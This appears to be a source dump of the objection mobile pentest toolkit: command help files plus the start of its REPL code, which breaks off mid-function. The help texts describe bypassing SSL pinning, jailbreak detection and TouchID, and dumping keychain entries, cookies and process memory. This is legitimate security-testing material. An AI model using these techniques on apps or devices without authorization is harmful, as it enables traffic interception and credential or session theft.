    "content": "Command: android sslpinning disable\n\nUsage: android sslpinning disable\n\nAttempts to disable SSL Pinning on Android devices. This is achieved by creating\na new TrustManager that will accept any certificate irrespective of its validity,\nand providing that to calls to SSLContext.init(). Additionally, to support the\nOkHTTP v3 library, the okhttp3.CertificatePinner.check() method is replaced with\none that will not throw an exception in the case of an invalid certificate being\npresented.\n\nWith these two implementations, the following request libraries should have its\npinning checks disabled with this command:\n\n- Traditional HttpsURLConnection\n- OkHTTP\n- Retrofit (Wraps OkHTTP)\n- Volley (Uses a TrustManager)\n- Picasso (Uses a TrustManager)\n\nIf this method does not disable the applications SSL pinning implementation,\nthen it may still be possible to bypass it via 'helper' methods commonly\nused by developers to help when testing in development / staging environments.\nBe on the lookout for classes / methods that relate to pinning that may simply\nreturn a boolean value.\n\nExamples:\n   android sslpinning disable\n"
  },
  {
    "path": "objection/console/helpfiles/android.sslpinning.txt",
    "content": "Contains subcommands to work with Android SSL pinning related calls.\n"
  },
  {
    "path": "objection/console/helpfiles/android.txt",
    "content": "Contains subcommands to work with Android specific features. These include\nshell commands, bypassing SSL pinning and simulating a rooted environment.\n"
  },
  {
    "path": "objection/console/helpfiles/android.ui.FLAG_SECURE.txt",
    "content": "Command: android ui FLAG_SECURE\n\nUsage: android ui FLAG_SECURE <true/false>\n\nControl the value of FLAG_SECURE for the current Activity. Setting the value\nto false in activities where it is true by default may enable you to take\nscreenshots using the hardware keys.\n\nNOTE: This command currently crashes the target application on 32bit devices due to\nan SELinux DENY. For more information see this PR:\n    https://github.com/sensepost/objection/pull/24\n\nExamples:\n    android ui FLAG_SECURE false\n"
  },
  {
    "path": "objection/console/helpfiles/android.ui.screenshot.txt",
    "content": "Command: android ui screenshot\n\nUsage: android ui screenshot <local png destination>\n\nScreenshots the current foregrounded Activity and saves it as a PNG locally.\nIf the `.png` extension is not used in the resultant filename, it will be automatically\nadded.\n\nExamples:\n    android ui screenshot application_image\n    android ui screenshot app_screenshot.png\n"
  },
  {
    "path": "objection/console/helpfiles/cd.txt",
    "content": "Usage: cd <directory on remote device>\n\nChanges the current working directory on the device.\nMany commands within objection are mindful and aware of the current\nworking directory. An example of this includes the sqlite command, that\nallows you to connect to a file in the current path, or to a file specified\nwith a full path relative to root (/).\nFor more directories that are applicable to the current app, inspect the\noutput of the `env` command.\n\nExamples:\n   cd Library/Caches\n   cd Preferences\n   cd /\n"
  },
  {
    "path": "objection/console/helpfiles/env.txt",
    "content": "Command: env\n\nUsage: env\n\nDisplay directory information for the current application environment.\n\nOn iOS devices, this includes the location of the applications bundle,\nthe Documents/ and Library/ directory.\n\nOn Android devices, this includes the location of the files and cache\ndirectories to name a few.\n\nExamples:\n   env\n"
  },
  {
    "path": "objection/console/helpfiles/exit.txt",
    "content": "Performs cleanups operations and quits the objection REPL.\n"
  },
  {
    "path": "objection/console/helpfiles/file.download.txt",
    "content": "Command: file download\n\nUsage: file download <remote location> (optional: <local destination>)\n\nDownload a file from a location on the mobile device, to a local destination.\nIf no destination is provided, the downloaded file will be saved in the\ncurrent directory with the same name\n\nExamples:\n   file download Document/Preferences/test.sqlite foo.sqlite\n   file download Document/Preferences/preferences.plist\n"
  },
  {
    "path": "objection/console/helpfiles/file.txt",
    "content": "Contains subcommands to work with files on the remote filesystem\n"
  },
  {
    "path": "objection/console/helpfiles/file.upload.txt",
    "content": "Command: file upload\n\nUsage: file upload <local source file> (optional: <remote destination>)\n\nUpload a file from the local filesystem to the remote filesystem.\nIf a full path is not specified for the remote destination, the current\nworking directory is assumed as the relative directory for the upload\ndestination. If the file already exists on the remote filesystem, it \nwill be overridden. If no remove filename is specified, the same filename\nof the source file will be used.\n\nExamples:\n   file upload test.sqlite Document/Preferences/test.sqlite\n   file upload foo.txt\n"
  },
  {
    "path": "objection/console/helpfiles/frida.txt",
    "content": "Command: frida\n\nUsage: frida\n\nDisplays information about Frida. This includes the version of the Frida gadget,\nprocess architecture and platform.\n\nExamples:\n   frida\n"
  },
  {
    "path": "objection/console/helpfiles/import.txt",
    "content": "Command: import\n\nUsage: import <path to local fridascript> (optional: <job name>) (optional: --no-exception-handler)\n\nImports Fridascript from a file on the local filesystem and executes it as a job.\nTo 'unload' the script, the job that was started to should be killed.\nYou can list all of the current jobs using the `jobs list` command. If no name was\nspecified for your job, a generic name of 'user-script' will be used for the \njob started as a result of the import.\n\nScripts that are run using this command get wrapped in a global, generic JavaScript try/catch\nblock. If this is not something that you want, the '--no-exception-handler' flag may be specified.\n\nExamples:\n   import ~/home/myscript.js\n   import ~/home/hooks/custom.js custom-hook-name\n   import ~/home/hooks/custom.js custom-hook-name --no-exception-handler\n   import ~/home/script.js --no-exception-handler\n   "
  },
  {
    "path": "objection/console/helpfiles/ios.bundles.list_bundles.txt",
    "content": "Command: ios bundles list_bundles\n\nUsage: ios bundles list_bundles (optional: --full-path)\n\nReturns all the application's non-framework bundles. [1]\n\nOutput includes the frameworks executable, bundle name and version. The path\nvalue is truncated by default, however, adding the --full-path flag would\nprint the entire path to the framework.\n\n[1] https://developer.apple.com/documentation/foundation/nsbundle/1413705-allbundles?language=objc\n\nExamples:\n   ios bundles list_bundles\n   ios bundles list_bundles --full-path\n"
  },
  {
    "path": "objection/console/helpfiles/ios.bundles.list_frameworks.txt",
    "content": "Command: ios bundles list_frameworks\n\nUsage: ios bundles list_frameworks (optional: --include-apple-frameworks) (optional: --full-path)\n\nReturns all of the application's bundles that represent frameworks. Only \nframeworks with one or more Objective-C classes in them are included. [1]\n\nOutput includes the frameworks executable, bundle name and version. The path\nvalue is truncated by default, however, adding the --full-path flag would\nprint the entire path to the framework.\n\nThe --include-apple-frameworks flag signals the command to also output\nbundles that form part of the com.apple package namespace. By default this\nis hidden and only external frameworks not in the com.apple namespace is\nreturned.\n\n[1] https://developer.apple.com/documentation/foundation/nsbundle/1408056-allframeworks?language=objc\n\nExamples:\n   ios bundles list_frameworks\n   ios bundles list_frameworks --include-apple-frameworks\n   ios bundles list_frameworks --include-apple-frameworks --full-path\n   ios bundles list_frameworks --full-path\n"
  },
  {
    "path": "objection/console/helpfiles/ios.bundles.txt",
    "content": "Contains subcommands to work with iOS bundles.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.cookies.get.txt",
    "content": "Command: ios cookies get\n\nUsage: ios cookies get\n\nQueries iOS's NSHTTPCookieStorage class, extracting cookie values out of the\nsharedHTTPCookieStorage. Various URL fetching methods use the\nsharedHTTPCookieStorage to store cookie data. This information may be useful\nto get session cookies for web services to reuse in other tools/browsers.\n\nExamples:\n   ios cookies get\n"
  },
  {
    "path": "objection/console/helpfiles/ios.cookies.txt",
    "content": "Contains subcommands to work with iOS shared cookies.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.list.class_methods.txt",
    "content": "Command: ios hooking list class_methods\n\nUsage: ios hooking list class_methods <class_name> (--include-parents)\n\nLists the methods within an Objective-C class. Adding the --include-parents\nflag will also list methods available due to class inheritance.\n\nExamples:\n   ios hooking list class_methods KeychainDataManager\n   ios hooking list class_methods KeychainDataManager --include-parents\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.list.classes.txt",
    "content": "Command: ios hooking list classes\n\nUsage: ios hooking list classes (optional: --ignore-native)\n\nLists all of the classes in the current Objective-C runtime. Specifying\nthe --ignore-native flag, filters out classes with common prefixes such as\n'NS' and 'CF'.\n\nExamples:\n   ios hooking list classes --ignore-native\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.list.txt",
    "content": "Contains subcommands to list various bits of information, such as \nObjective-C classes and class methods.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.search.classes.txt",
    "content": "Command: ios hooking search classes\n\nUsage: ios hooking search classes <search string>\n\nSearch for classes in the current Objective-C runtime with the search string\nas part of the class name.\n\nExamples:\n   ios hooking search classes jailbreak\n   ios hooking search classes sslpinning\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.search.methods.txt",
    "content": "Command: ios hooking search methods\n\nUsage: ios hooking search methods <search string>\n\nSearch for methods in classes in the current Objective-C runtime with the \nsearch string as part of the method name.\n\nExamples:\n   ios hooking search methods keychain\n   ios hooking search methods sslpinning\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.search.txt",
    "content": "Contains subcommands helpful when searching for classes and methods.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.set.return_value.txt",
    "content": "Command: ios hooking set return_value\n\nUsage: ios hooking set return_value \"<full class & selector>\" <true/false>\n\nHooks into a specified Objective-C method and sets its return value to\neither True or False. This is useful in cases where simple methods are used\nto determine things like 'Should SSL pinning be enabled?' as an example.\n\nExamples:\n   ios hooking set return_value \"+[JailbreakDetection isJailbroken]\" false\n   ios hooking set return_value \"-[SecurityHelper shouldPinSSL:]\" true\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.set.txt",
    "content": "Sets various bits of hooking related information.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.txt",
    "content": "Contains subcommands helpful when developing custom hooks. This includes discovery\nof Objective-C classes and methods in those classes, as well as dumping method\narguments as they are called in real time.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.watch.class.txt",
    "content": "Command: ios hooking watch class\n\nUsage: ios hooking watch <class_name> (--include-parents)\n\nHooks into all of the methods available in the Objective-C class specified\nby class_name and reports on invocations of any methods contained within.\nIf the --include-parents flag is specified, all methods inherited from a\nparent class will also be hooked and reported on.\n\nExamples:\n   ios hooking watch KeychainDataManager\n   ios hooking watch PinnedNSURLSessionStarwarsApi --include-parents\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.watch.method.txt",
    "content": "Command: ios hooking watch method\n\nUsage: ios hooking method \"<full class & selector>\" (optional: --dump-backtrace)\n       (optional: --dump-args) (optional: --dump-return)\n\nHooks into a specified Objective-C method and reports on invocations.\nA full class and method is expected, including whether its an instance\nor class method.\nIf the --include-backtrace flag is provided, a full stack trace that\nlead to the methods invocation will also be dumped.\n\nExamples:\n   ios hooking watch method \"+[KeychainDataManager update:forKey:]\"\n   ios hooking watch method \"-[PinnedNSURLSessionStarwarsApi getJsonResponseFrom:onSuccess:onFailure:]\" --include-backtrace\n   ios hooking watch method \"+[KeychainDataManager update:forKey:]\" --dump-args --dump-return\n"
  },
  {
    "path": "objection/console/helpfiles/ios.hooking.watch.txt",
    "content": "Contains subcommands to watch for method invocations on Objective-C classes.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.jailbreak.disable.txt",
    "content": "Command: ios jailbreak disable\n\nUsage: ios jailbreak disable\n\nAttempts to disable Jailbreak detection on iOS devices. This is achieved by\nhooking the NSFileManager fileExistsAtPath method, and checking if it was\ncalled with a path to common Jailbroken path artifacts. Calls to the fork()\nmethod are also hooked and will respond with a 0, indicating that it was\nunsuccessful.\n\nExamples:\n   ios jailbreak disable\n"
  },
  {
    "path": "objection/console/helpfiles/ios.jailbreak.simulate.txt",
    "content": "Command: ios jailbreak simulate\n\nUsage: ios jailbreak simulate\n\nAttempts to simulate a Jailbroken iOS environment. This is achieved by returning\npositive results for file existence checks from NSFileManager fileExistsAtPath\nas well as indicating that a fork() was successful if that is called.\n\nExamples:\n   ios jailbreak simulate\n"
  },
  {
    "path": "objection/console/helpfiles/ios.jailbreak.txt",
    "content": "Contains subcommands to work with iOS Jailbreak detection, such as disabling\nit, or simulating that a device is Jailbroken.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.keychain.add.txt",
    "content": "Command: ios keychain add\n\nUsage: ios keychain add --account <account> --service <service> --data <entry data>\n\nAdds a new entry to the iOS keychain using SecItemAdd.\n\nThe new keychain entry class would be kSecClassGenericPassword with no extra \nkSecAttrAccessControl set.\n\nExamples:\n   ios keychain add --account token --data 1122-33344-55122-55512\n   ios keychain add --service foo --data bar\n"
  },
  {
    "path": "objection/console/helpfiles/ios.keychain.clear.txt",
    "content": "Command: ios keychain clear\n\nUsage: ios keychain clear\n\nClears all the keychain items for the current application. This is achieved by\niterating over the keychain type classes available in iOS and populating a search\ndictionary with them. This dictionary is then used as a query to SecItemDelete(),\ndeleting the entries.\nItems that will be deleted include everything stored with the entitlement group used\nduring the patching/signing process.\n\nExamples:\n   ios keychain clear\n"
  },
  {
    "path": "objection/console/helpfiles/ios.keychain.dump.txt",
    "content": "Command: ios keychain dump\n\nUsage: ios keychain dump (optional: --json <filename>) (optional: --smart)\n\nExtracts the keychain items for the current application. This is achieved by iterating\nover the keychain type classes available in iOS and populating a search dictionary\nwith them. This dictionary is then used as a query to SecItemCopyMatching() and the\nresults parsed.\n\nUse the --smart flag to attempt smart decoding of items in the keychain. By default,\nUTF8 string representations of data will be displayed. For a hex string of the data,\nuse the --json flag which will indlude a 'dataHex' key.\n\nBy default, only a small subset of each entry is displayed. For a more complete dump,\nuse the --json flag.\n\nItems that will be accessible include everything stored with the entitlement group used\nduring the patching/signing process. Providing a filename with the --json flag will dump\nall of the keychain attributes to the file specified for later inspection.\n\nExamples:\n   ios keychain dump\n   ios keychain dump --json keychain.json\n"
  },
  {
    "path": "objection/console/helpfiles/ios.keychain.txt",
    "content": "Contains subcommands to work with the iOS keychain.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.monitor.crypto.txt",
    "content": "Command: ios monitor crypto monitor\n\nUsage: ios monitor crypto monitor\n\nHooks CommonCrypto to output information about cryptographic operation. Works best for AES with PKCS7 Padding.\nCurrently the following hooks are supported: \n - SecRandomCopyBytes\n - CCKeyDerivationPBKDF\n - CCCrypt\n - CCCryptorCreate\n - CCCryptorUpdate\n - CCCryptorFinal\n\nExamples:\n   ios monitor crypto monitor\n"
  },
  {
    "path": "objection/console/helpfiles/ios.nsuserdefaults.get.txt",
    "content": "Command: ios nsuserdefaults get\n\nUsage: ios nsuserdefaults get\n\nQueries the applications NSUserDefaults class for all of the entries in\nthe current application bundle and echoes the entries to screen.\n\nExamples:\n   ios nsuserdefaults get\n"
  },
  {
    "path": "objection/console/helpfiles/ios.nsuserdefaults.txt",
    "content": "Contains subcommands to work with the iOS NSUserDefaults class.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.pasteboard.monitor.txt",
    "content": "Command: ios pasteboard monitor\n\nUsage: ios pasteboard monitor\n\nHooks into the iOS UIPasteboard class and polls the generalPasteboard every\n5 seconds for data. If new data is found, different from the previous poll,\nthat data will be dumped to screen.\n\nExamples:\n   ios pasteboard monitor\n"
  },
  {
    "path": "objection/console/helpfiles/ios.pasteboard.txt",
    "content": "Contains subcommands to work with the iOS pasteboard.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.plist.cat.txt",
    "content": "Command: ios plist cat\n\nUsage: ios plist cat <remote plist filename>\n\nParses and echoes a plist file on the remote iOS device to screen. If this\nparsing is not sufficient, one can always `download` the plist file itself\nfor parsing using other tools.\n\nExamples:\n   ios plist cat Info.plist\n"
  },
  {
    "path": "objection/console/helpfiles/ios.plist.txt",
    "content": "Contains subcommands to work with iOS Plist entries.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.sslpinning.disable.txt",
    "content": "Command: ios sslpinning disable\n\nUsage: ios sslpinning disable\n\nAttempts to disable SSL Pinning on iOS devices. This is achieved by hooking\ninto methods commonly used by Frameworks and Libraries such as AFNetworking,\nNSURLSession and the now deprecated NSURLConnection.\nThis command also implements the bypass techniques used in the well-known\nSSL-Killswitch2 app, including a new technique reportedly working in iOS10.\n\nIf this method does not disable the applications SSL pinning implementation,\nthen it may still be possible to bypass it via 'helper' methods commonly\nused by developers to help when testing in development / staging environments.\nBe on the lookout for classes / methods that relate to pinning that may simply\nreturn a BOOL value.\n\nExamples:\n   ios sslpinning disable\n"
  },
  {
    "path": "objection/console/helpfiles/ios.sslpinning.txt",
    "content": "Contains subcommands to work with iOS SSL pinning related calls.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.txt",
    "content": "Contains subcommands to work with iOS specific features. These include features\nsuch as keychain dumping, reading plists and bypassing SSL pinning.\n"
  },
  {
    "path": "objection/console/helpfiles/ios.ui.alert.txt",
    "content": "Command: ios ui alert\n\nUsage: ios ui alert (optional: \"<alert message>\")\n\nDisplays an alert popup on an iOS device. A message to display may be specified\noptionally.\n\nExamples:\n   ios ui alert\n   ios ui alert 'my message'\n"
  },
  {
    "path": "objection/console/helpfiles/ios.ui.dump.txt",
    "content": "Command: ios ui dump\n\nUsage: ios ui dump\n\nDumps the current, serialized user interface. This is useful to see which values\nor classes may be attached to UI elements.\n\nExamples:\n   ios dump\n"
  },
  {
    "path": "objection/console/helpfiles/ios.ui.screenshot.txt",
    "content": "Command: ios ui screenshot\n\nUsage: ios ui screenshot <local png destination>\n\nScreenshots the current foregrounded UIView and saves it as a PNG locally.\nNote: Does not work at the moment, may actually need a jailbroken device.\n\nExamples:\n   ios ui screenshot screenshot.png\n"
  },
  {
    "path": "objection/console/helpfiles/ios.ui.touchid_bypass.txt",
    "content": "Command: ios ui touchid_bypass\n\nUsage: ios ui touchid_bypass\n\nHooks into the -[LAContext evaluatePolicy:localizedReason:reply:] selector and\nreplies with a successful message from the operating system when a touchID prompt\nis dismissed. This is useful in cases where the application relies solely on the\noperating system to tell it if a fingerprint read was successful or not.\nNote: This does *not* bypass cases where TouchID is needed to decrypt a keychain\nentry, simply because the actual data itself is not stored in the keychain but\ninstead lives in the Secure Enclave. The keychain simply contains a token to the\ndata itself.\n\nExamples:\n   ios ui touchid_bypass\n"
  },
  {
    "path": "objection/console/helpfiles/ios.ui.txt",
    "content": "Contains subcommands to interact with the iOS user interface. This includes commands\nto dump the current view hierarchy as well as bypassing screens that require TouchID\nto proceed.\n"
  },
  {
    "path": "objection/console/helpfiles/jobs.kill.txt",
    "content": "Command: jobs kill\n\nUsage: jobs kill <job uuid>\n\nKills a running job identified by its UUID. When a job is killed, objection will\nunload the Fridascript from the process' memory.\nExamples:\n   jobs kill 9415c4c7-2824-46a5-8539-d2d35ba2158c\n"
  },
  {
    "path": "objection/console/helpfiles/jobs.list.txt",
    "content": "Command: jobs list\n\nUsage: jobs list\n\nList the currently running jobs. Jobs are asynchronous Fridascripts that were\nsubmitted and have not yet been unloaded from the process. Examples of such\njobs include the iOS method argument dumper and pasteboard monitor. To unload\na job, the `jobs kill <jobid>` command may be used.\n\nExamples:\n   jobs list\n"
  },
  {
    "path": "objection/console/helpfiles/jobs.txt",
    "content": "Contains subcommands to work with objection jobs. This includes listing and killing them.\n"
  },
  {
    "path": "objection/console/helpfiles/ls.txt",
    "content": "Command: ls\n\nUsage: ls (optional: <directory on remote device>)\n\nDisplay the contents of a directory on the mobile device. The output details\nthe permissions of the directory in question, as well as those for each file\nand directory within. If no directory is specified, the current working\ndirectory is assumed and listed.\n\nExamples:\n   ls Library/Caches\n   ls /\n   ls\n"
  },
  {
    "path": "objection/console/helpfiles/memory.dump.all.txt",
    "content": "Command: memory dump all\n\nUsage: memory dump all <local destination>\n\nDumps all of the current processes' memory that is marked as readable and\nwritable (rw-) to a file specified by local destination.\n\nExamples:\n   memory dump all process_memory.dmp\n"
  },
  {
    "path": "objection/console/helpfiles/memory.dump.from_base.txt",
    "content": "Command: memory dump all\n\nUsage: memory dump <base address> <size to dump> <local destination>\n\nDumps memory from within the current process from a base address, for a set number\nof bytes to a local file specified by local destination. For example addresses and\nsizes, the `memory list modules` command may be used.\nSpecifying addresses or sizes that are outside of the current processes sandbox\nhas a *high* chance of crashing the application. Use with caution.\n\nExamples:\n   memory dump from_base 0x10009c000 442368 main\n   memory dump from_base 0x10f88e000 548864 CoreAudio\n"
  },
  {
    "path": "objection/console/helpfiles/memory.dump.txt",
    "content": "Contains subcommands to dump process memory\n"
  },
  {
    "path": "objection/console/helpfiles/memory.list.exports.txt",
    "content": "Command: memory list exports\n\nUsage: memory list exports <module name> (optional: --json <filename>)\n\nList exports in a specific loaded module. Exports found using this command\ncould be used in Fridascripts to hook with module.findExportByName().\nFor a list of modules to list exports from the `memory list modules` command\nmay be used.\n\nExamples:\n   memory list exports libsystem_configuration.dylib\n   memory list exports UserManagement\n   memory list exports UserManagement --json UserManagementExports.json\n"
  },
  {
    "path": "objection/console/helpfiles/memory.list.modules.txt",
    "content": "Command: memory list modules\n\nUsage: memory list modules (optional: --json <filename>)\n\nList all of the modules loaded in the current process, detailing their base\naddress, size and location on disk.\nProviding a filename with the --json flag will output all of the module\nattributes to the file specified for later inspection.\n\nExamples:\n   memory list modules\n   memory list modules --json modules.json\n"
  },
  {
    "path": "objection/console/helpfiles/memory.list.txt",
    "content": "Contains subcommands to list modules and module exports\n"
  },
  {
    "path": "objection/console/helpfiles/memory.search.txt",
    "content": "Command: memory search\n\nUsage: memory search \"<pattern>\" (optional: --string) (--offsets-only)\n\nSearch the current processes' heap for a pattern. A pattern is represented by a\nbyte sequence such as eb ff aa. It is also possible to specify wildcards such as\neb ff ?? aa, indicating that you are looking for a pattern that starts with eb ff,\nhas any other byte and then has aa.\nIt is also possible to provide a raw string, which should be suffixed with the\n--string flag, indicating to the command that it should convert the string to\nbytes before executing the search. Wildcards are not supported in string searches.\n\nOutput may be controlled primarily with the --offsets-only flag which indicates\nwether a small hexdump of matched memory regions should occur, or if only the\nmatched offsets should be printed.\n\nExamples:\n   memory search \"41 41 41 41\"\n   memory search \"41 ?? de ad\"\n   memory search \"deadbeef\" --string\n"
  },
  {
    "path": "objection/console/helpfiles/memory.txt",
    "content": "Contains subcommands to work with memory within the current process.\nExamples include commands to dump the current process memory, dump\nthe memory of a specific loaded module, list exported modules or\nwrite raw bytes to memory addresses.\n"
  },
  {
    "path": "objection/console/helpfiles/memory.write.txt",
    "content": "Command: memory write\n\nUsage: memory write \"<address>\" \"<pattern>\" (optional: --string)\n\nWrite an arbitrary set of bytes to an address in memory. Using this command has a high\nchance of crashing the applications process if you attempt to write to addresses outside\nof the applications heap, or your bytes specified cause to go outside of some memory\nboundary.\n\nExamples:\n   memory write 0x117a2e347 \"ff 41 41 42\"\n"
  },
  {
    "path": "objection/console/helpfiles/plugin.load.txt",
    "content": "Command: plugin load\n\nUsage: plugin load <plugin path> (optional: namespace)\n\nLoads an objection plugin into the current session. For more information on\nplugins, please refer to the project wiki at:\n    https://github.com/sensepost/objection/wiki \n\nBy default, plugin commands are nested beneath the plugin context menu and\nwill use the plugin's built-in namespace as the subcommand to use. However,\nthis namespace may be specified at load time, overriding the plugins buil-in\nname.\n\nExamples:\n   plugin load ~/home/objection-plugins/feature\n   plugin load ~/home/objection-plugins/feature newname\n"
  },
  {
    "path": "objection/console/helpfiles/plugin.txt",
    "content": "Contains subcommands to work with objection plugins.\n"
  },
  {
    "path": "objection/console/helpfiles/pwd.print.txt",
    "content": "Command: pwd print\n\nUsage: pwd print\n\nDisplay the current working directory.\n\nExamples:\n   pwd print\n"
  },
  {
    "path": "objection/console/helpfiles/pwd.txt",
    "content": "Contains subcommands to work with the current working directory\non the device.\n"
  },
  {
    "path": "objection/console/helpfiles/reconnect.txt",
    "content": "Command: reconnect\n\nUsage: reconnect\n\nAttempts to reconnect to the Frida Gadget specified with --gadget on startup.\nThe connection mode (ie: usb / network) can not be changed unless the repl\nis restarted.\n\nExamples:\n   reconnect\n"
  },
  {
    "path": "objection/console/helpfiles/rm.txt",
    "content": "Command: rm\n\nUsage: rm <file on remote device>\n\nDelete a file on the remote operating system.\n\nExamples:\n   rm file.txt\n   rm /path/to/file.png\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.connect.txt",
    "content": "Command: sqlite connect\n\nUsage: sqlite connect <remote sqlite database location>\n\nConnect to a SQLite database on the remote device. The connection process downloads\na copy of the remote database file to a local temporary directory. The file is then\nvalidated to make sure that it is a SQLite3 database file. Once considered a valid\ndatabase file, the connection is considered complete.\nThe `sqlite status` command will show details about the connection once successful.\n\nExamples:\n   sqlite connect Preferences/settings.sqlite\n   sqlite connect credentials.sqlite\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.disconnect.txt",
    "content": "Command: sqlite disconnect\n\nUsage: sqlite disconnect\n\nDisconnect from the currently connected SQLite database file. This command will clean\nthe locally cached version of the database file. If you made changes you want to save,\nrun the `sqlite sync` command before disconnecting. This command is also run if the\nREPL is existed.\n\nExamples:\n   sqlite disconnect\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.execute.query.txt",
    "content": "Command: sqlite execute query\n\nUsage: sqlite execute query <sql query>\n\nExecute a query against the cached copy of the connected SQLite database.\nIf your changes need to be effective on the device, execute the `sqlite sync`\ncommand to upload the modified database back to the device.\n\nExamples:\n   sqlite execute query select * from data\n   sqlite execute query delete from data\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.execute.schema.txt",
    "content": "Command: sqlite execute schema\n\nUsage: sqlite execute schema\n\nGet the database schema for the currently connected SQLite database.\n\nExamples:\n   sqlite execute schema\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.execute.txt",
    "content": "Contains subcommands to execute queries against a connected SQLite database.\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.status.txt",
    "content": "Command: sqlite status\n\nUsage: sqlite status\n\nCheck the status of the SQLite connection. Outputs the the locally cached\nlocation as well as the remote source it was cached from.\n\nExamples:\n   sqlite status\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.sync.txt",
    "content": "Command: sqlite sync\n\nUsage: sqlite sync\n\nSync the locally cached SQLite database with the remote database.\nAny changes made since the last `sqlite connect` will be available on the\ndevice post-sync.\n\nExamples:\n   sqlite sync\n"
  },
  {
    "path": "objection/console/helpfiles/sqlite.txt",
    "content": "Contains subcommands to work with SQLite databases on the remote device.\nConnecting to a SQLite database will result in a copy of the database from\nthe remote device being downloaded locally. All queries that are run will\nbe run on the locally cached database. If the changes need to be available\non the remote device, the database should be `sync`'ed back.\n"
  },
  {
    "path": "objection/console/helpfiles/ui.alert.txt",
    "content": "Command: ui alert\n\nUsage: ui alert (optional: \"<alert message>\")\n\nDisplays an alert popup on iOS devices, or a Toast message on Android devices.\nThis is useful to demonstrate that the application was successfully hooked. Providing\nan alert message will display that message instead of the default.\nNote: Currently, once the iOS alert message has been displayed, dismissing the message\nunfortunately crashes the application.\n\nExamples:\n   ui alert\n   ui alert 'custom message!'\n"
  },
  {
    "path": "objection/console/helpfiles/ui.txt",
    "content": "Contains subcommands that interact with the applications user interface.\n"
  },
  {
    "path": "objection/console/repl.py",
    "content": "import logging\nimport os\nimport traceback\n\nimport click\nimport delegator\nimport frida\nfrom prompt_toolkit import PromptSession\nfrom prompt_toolkit.auto_suggest import AutoSuggestFromHistory\nfrom prompt_toolkit.completion import FuzzyCompleter\nfrom prompt_toolkit.history import FileHistory\nfrom prompt_toolkit.patch_stdout import patch_stdout\nfrom prompt_toolkit.styles import Style\n\nfrom .commands import COMMANDS\nfrom .completer import CommandCompleter\nfrom ..__init__ import __version__\nfrom ..state.app import app_state\nfrom ..state.connection import state_connection\nfrom ..utils.helpers import get_tokens\n\n\nclass Repl(object):\n    \"\"\"\n        The exploration REPL for objection\n    \"\"\"\n\n    def __init__(self) -> None:\n        self.cli = None\n\n        self.completer = FuzzyCompleter(CommandCompleter())\n        self.commands_repository = COMMANDS\n        self.session = self.get_prompt_session()\n\n    def get_prompt_session(self) -> PromptSession:\n        \"\"\"\n            Starts a new prompt session.\n\n            :return:\n        \"\"\"\n\n        return PromptSession(\n            history=FileHistory(os.path.expanduser('~/.objection/objection_history')),\n            completer=self.completer,\n            style=self.get_prompt_style(),\n            auto_suggest=AutoSuggestFromHistory(),\n            reserve_space_for_menu=4,\n            complete_in_thread=True,\n        )\n\n    @staticmethod\n    def get_prompt_style() -> Style:\n        \"\"\"\n            Get the style to use for our prompt\n\n            :return:\n        \"\"\"\n\n        return Style.from_dict({\n            # completions menu\n            'completion-menu.completion.current': 'bg:#00aaaa #000000',\n            'completion-menu.completion': 'bg:#008888 #ffffff',\n\n            # fuzzy match outside\n            'completion-menu.completion fuzzymatch.outside': 'fg:#000000',\n\n            # Prompt.\n            'applicationname': '#007cff',\n            'status': '#717171',\n            'on': '#00aa00',\n            'devicetype': '#00ff48',\n            'version': '#00ff48',\n            'jobs': '',  # TODO\n            'connection': '#717171'\n        })\n\n    @staticmethod\n    def get_prompt_message() -> list:\n        \"\"\"\n            Return prompt tokens to use in the cli app.\n\n            If none were set during the init of this class, it\n            is assumed that the connection failed.\n\n            :return:\n        \"\"\"\n\n        agent = state_connection.agent\n        dev = state_connection.get_agent().device\n        params = dev.query_system_parameters()\n\n        return [\n            ('class:applicationname', state_connection.name),\n            ('class:status', ' (' + ('run' if agent.resumed else 'pause') + ')'),\n            ('class:on', ' on '),\n            ('class:devicetype', '(' + params['os']['name'] + ': '),\n            ('class:version', params['os']['version'] + ') '),\n            ('class:connection', '[' + dev.type + '] # '),\n        ]\n\n    def run_command(self, document: str) -> None:\n        \"\"\"\n            Process a command as received by prompt_toolkit.\n\n            :param document:\n            :return:\n        \"\"\"\n\n        logging.info(document)\n\n        if document.strip() == '':\n            return\n\n        # handle os commands\n        if document.strip().startswith('!'):\n\n            # strip the leading !\n            os_cmd = document[1:]\n\n            click.secho('Running OS command: {0}\\n'.format(os_cmd), dim=True)\n\n            o = delegator.run(os_cmd, binary=True)\n\n            # print stdout\n            if len(o.out) > 0:\n                click.secho(o.out.decode('utf-8', 'replace'), bold=True)\n\n            # print stderr\n            if len(o.err) > 0:\n                click.secho(o.err.decode('utf-8', 'replace'), fg='red')\n\n            return\n\n        # a normal command is to be run, extract the tokens and\n        # find which method we should be calling\n        tokens = get_tokens(document)\n\n        # check if we should be presenting help instead of executing\n        # a command. this is indicated by the fact that the command\n        # starts with the word 'help'\n        if len(tokens) > 0 and 'help' == tokens[0]:\n\n            # skip the 'help' entry from the tokens list so that\n            # the following method can find the correct help\n            tokens.remove('help')\n            command_help = self._find_command_help(tokens)\n\n            if not command_help:\n                